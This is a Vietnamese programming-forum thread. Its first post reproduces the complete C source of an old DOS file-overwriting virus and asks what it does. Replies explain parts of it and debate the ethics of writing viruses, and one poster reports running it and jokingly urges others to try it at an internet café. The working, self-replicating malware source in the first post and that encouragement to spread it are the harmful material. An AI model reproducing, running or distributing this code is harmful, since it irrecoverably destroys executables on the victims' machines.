Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Trang 1 của 2 12 CuốiCuối
Kết quả 1 đến 10 của 15
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Code virut viết bằng C, tác dụng của nó như thế nào?

    Mã:
    /*    This is a pretty lame program, I would not advise running it on yourself    though.  It will merely overwrite found files with itself, thus replicating.   It is for educational purposes only.  Careful, since it overwrites, it is   destructive.  Infecte files cannot be recovered.  I could save time/date   stamps, etc. but this was just for fun, and took me only a few mintes to   throw together.       The Crypt Keeper/RRG     (619)/457-1836: The Programmer's Paradise   Oh yeah, use the tiny memory model, and make it a .COM file.*/ #include <dos.h>#include <dir.h>#include <stdio.h> #define V_SIZE 7424 int n_inf=0; void resume(void);void inf(char *vir, char *filename);int  compare(char *d, char *e); void main(int argc, char **argv){  struct ffblk fileinfo;  char vir[V_SIZE];  FILE *fp;  char path[6];  int b,a=0;   argc++;   if((fp=fopen(argv[0],"rb"))==NULL) resume();  fread(vir,sizeof(char),V_SIZE,fp);  fclose(fp);    path[0]='*';  path[1]='.';  path[2]='E';  path[3]='X';  path[4]='E';  path[5]=NULL;    if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume();  inf(vir,fileinfo.ff_name);  do {    if(findnext(&fileinfo)!=0) a=1;    else inf(vir,fileinfo.ff_name);    if((a==1) || (n_inf>4)) b=1;  } while (b!=1);  resume();} void inf(char *vir, char *filename){  FILE *fp;  char checkinf[V_SIZE];   if((fp=fopen(filename,"rb+"))==NULL) resume();  fread(checkinf,sizeof(char),V_SIZE,fp);  if(compare(vir,checkinf)==0) return;  fseek(fp,0L,SEEK_SET);  fwrite(vir,sizeof(char),V_SIZE,fp);  fclose(fp);  n_inf++;} int compare(char *d, char *e){  int a;    for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1);  return(0);} void resume(void){  exit(0);}
    đây là đoạn code của 1 con virut em tìm được trên mạng...anh có thể trả lời cho em con này có tác dụng gì không ạ...nó có thể làm gì với máy tính của mình...và tại sao hàm main lại có tham số như thế kia...con virut này có thể tự nhân bản chính nó được không...và đoạn code con nào làm nhiệm vụ ấy...cảm ơn anh

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Không biết đoạn code đó làm những gì nên không dám chạy [IMG]images/smilies/biggrin.png[/IMG] Nhưng xem qua code thì thấy hình như việc của nó là ghi đè file. Còn cái tham số của main(int argv, char **argc) là để truyền vào qua command line. Còn cái vụ nhân bản chính nó thì chắc có lẽ là ko roài, vì sơ qua thì không thấy tham chiếu nào tới main() cả !?

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    mình thấy đoạn code này đầu tiên là nó mở chính cái chương trình đó . vì argv[0] chính là path của chương trình đang chạy. rồi đọc dữ liệu ( byte dữ liệu ) của chính cái *.exe rồi làm cái gì đó ? rồi ghi cái gì đó lên chính cái file đó ..... rồi mình không dám thử . mặc dù có máy ảo. hehe.
    mình đã từng xém cháy máy chỉ vì vô tình tạo một ct cho nó gọi lại chính nó . kết quả là ct tự gọi chính nó và chạy hàng trăm tiến trình cùng một lúc không thể tắt hết kể cả task cũng bó tay. làm mình phải tắt nóng. May mà chưa tạo autorun .

  4. #4
    - Các bạn thử nghĩ xem có bao nhiêu người viết virus để...nghiên cứu! Mà nếu có để nghiên cứu thì cần gì phải viết virus! Nếu các kiến thức đó có thể dùng được trong các ứng dụng có ích khác thì tại sao ko viết những ứng dụng đó mà lại viết virus ???! Mình đang nói đến những người trực tiếp viết ra virus và đem đi phát tán kìa, nếu bạn chỉ xem thôi thì mình chẳng nói làm gì! Nhưng có bao nhiêu người viết ra virus chỉ để tự mình ngắm nó đâu, phải cho người khác xem với chứ...!
    - Mình chỉ nói để cho ai định đi theo con đường đó thì nên thay đổi sẻ tốt hơn!
    - Có thể các bạn đang nghĩ rằng mình quan trọng hóa vấn đề, nhưng cái gì cũng có khởi đầu của nó, và có thể khởi đầu sự nghiệp viết virus của một phần trong mấy ngàn thành viên dd này bắt nguồn từ đây...!!!

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Tôi đã từng nghe một nhà quản trị mạng danh tiếng (quên mất tên roài [IMG]images/smilies/biggrin.png[/IMG]) nói rằng "Cách bảo vệ hệ thống của mình tốt nhất là hãy hack nó !". Tôi không có kiến thức về quản trị mạng nhưng câu nói đó cũng đúng và áp dụng được cho việc này. Nếu tôi không nhầm thì có những công ty bảo mật lại viết ra các tools để hack, *****, xâm nhập ... vào hệ thống và bán các bộ công cụ ấy với giá không hề rẻ ! Vậy họ viết ra để làm gì nhỉ ? Là để cho các admin, manager ... kiểm tra hệ thống của mình ... nhưng có những người lại sử dụng nó để phá hoại. Viết virus không xấu nhưng sử dụng vào mục đích xấu thì mới đáng bị lên án.

  6. #6
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Đúng vậy. Cái gì cũng có hai mặt của nó.
    Vì thế mới có hacker, *****er mũ trắng và mũ đen,
    nếu tất cả đều là xấu thì sao lại có các cuộc thi tấn công vào mạng, hệ thống của một công ty nào đó để ẵm giải !!!1

  7. #7
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    ...nhưng có những người lại sử dụng nó để phá hoại. Viết virus không xấu nhưng sử dụng vào mục đích xấu thì mới đáng bị lên án.
    - Mình đồng ý, nhưng mình ko tin là có người viết virus chỉ để chạy trên máy của họ cho vui...! Còn nếu bạn nói về các công ty bảo bật viết mấy tools,... thì đó là công việc của họ và những kiến thức ấy chỉ trong công ty của họ, chẳng nguy hại đến ai! Và cái mình đang nói đến đó là những người đang và định viết virus kìa!
    - Còn về mũ trắng, mũ đen, các bạn nghĩ bên nào nhiều hơn!
    - Về những cuộc thi ấy, bạn nghĩ cuối cùng ban tổ chức muốn có điều gì! Mình cũng ko ũng hộ mấy cuộc thi đó!


    híc...bạn ơi....có biết đến cái tối thì mới muốn về chỗ sáng bạn ah...nghĩ câu này thử xem
    - Đồng ý! Nhưng bạn nghĩ xem, liệu khi vô trong tối rồi thì bạn có thể trở ra chổ sáng được ko?! Nếu bạn làm đc thì tùy bạn vậy, nhưng vẩn có ko biết bao nhiêu người ko trở ra đc nửa bởi vì họ ko hề nghĩ rằng họ đang ở trong tối! Và mình cũng ko muốn đang ở trong sáng, nhảy vào tối để chơi cho vui...!

    - Mỗi người có một suy nghĩ, mình thì ko bao giờ ủng hộ việc viết virus! Mình chỉ ủng hộ những cái có ích cho xã hội, những gì có thể làm cho cuộc sống tốt hơn, những gì mang đến sự phát triển kìa! Đối với mình, viết virus chỉ là một việc vô ích!


    Đang sáng , tự dưng bị cắt điện -> trời tối.
    Có người từ sang đi sang tối đấy
    - Cái này là tối khách quan, không tính! Đừng chơi ăn gian nhá!

    - Các bạn có thấy ai đang là "con ngoan, trò giỏi", chỉ vì muốn làm công an mà đi... ăn cướp chưa???! Nếu có thì liên hệ mình để mình tìm huân chương gắn cho [IMG]images/smilies/biggrin.png[/IMG] !!!

  8. #8
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    híc...em thử rồi...con này khủng quá mấy bố ơi...BK chưa diệt được...theo như anh XCROSS thì con này sẽ biến những file exe thành chính nó và lây lan...hú hồn...hihiih...anh em ra tiệm xài thử coi

  9. #9
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi thanhluan07
    mình đã từng xém cháy máy chỉ vì vô tình tạo một ct cho nó gọi lại chính nó . kết quả là ct tự gọi chính nó và chạy hàng trăm tiến trình cùng một lúc không thể tắt hết kể cả task cũng bó tay. làm mình phải tắt nóng. May mà chưa tạo autorun .
    .

    Cậu có phá phần mềm kiểu gì thì phá cũng không làm cháy phần cứng được .Đừng nói quá lên thế !

  10. #10
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    - Ko biết sao nhiều người thích viết virus vậy ko biết! Viết ra để làm gì, cho ai sài (chắc cưởng ép các nạng nhân phải sài quá T_T), liệu những thứ ấy sau này có giúp chúng ta "sống sót" được ko ???! Cái nguy hiểm hơn là viết bậy rồi phát tán tùm lum là có thể "đi tù" như chơi! Tại sao ko chứng tỏ tài năng của chúng ta bằng cách làm những gì có ích cho xã hội ấy! Bạn viết ra rồi có dám "vỗ ngực xưng tên" là do bạn viết ko, hay chỉ là một cái nickname để lại...!
    - Vài ý kiến (lẩn bức xúc) của mình, ai lở dính vô rồi thì nên rút lui, đừng để sau này phải ngồi than thân trách phận : "Tại sau mình là một thiên tài, một thời oanh liệt mà lại phải khổ sở kiếm sống thế này...!"

 

 
Trang 1 của 2 12 CuốiCuối

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •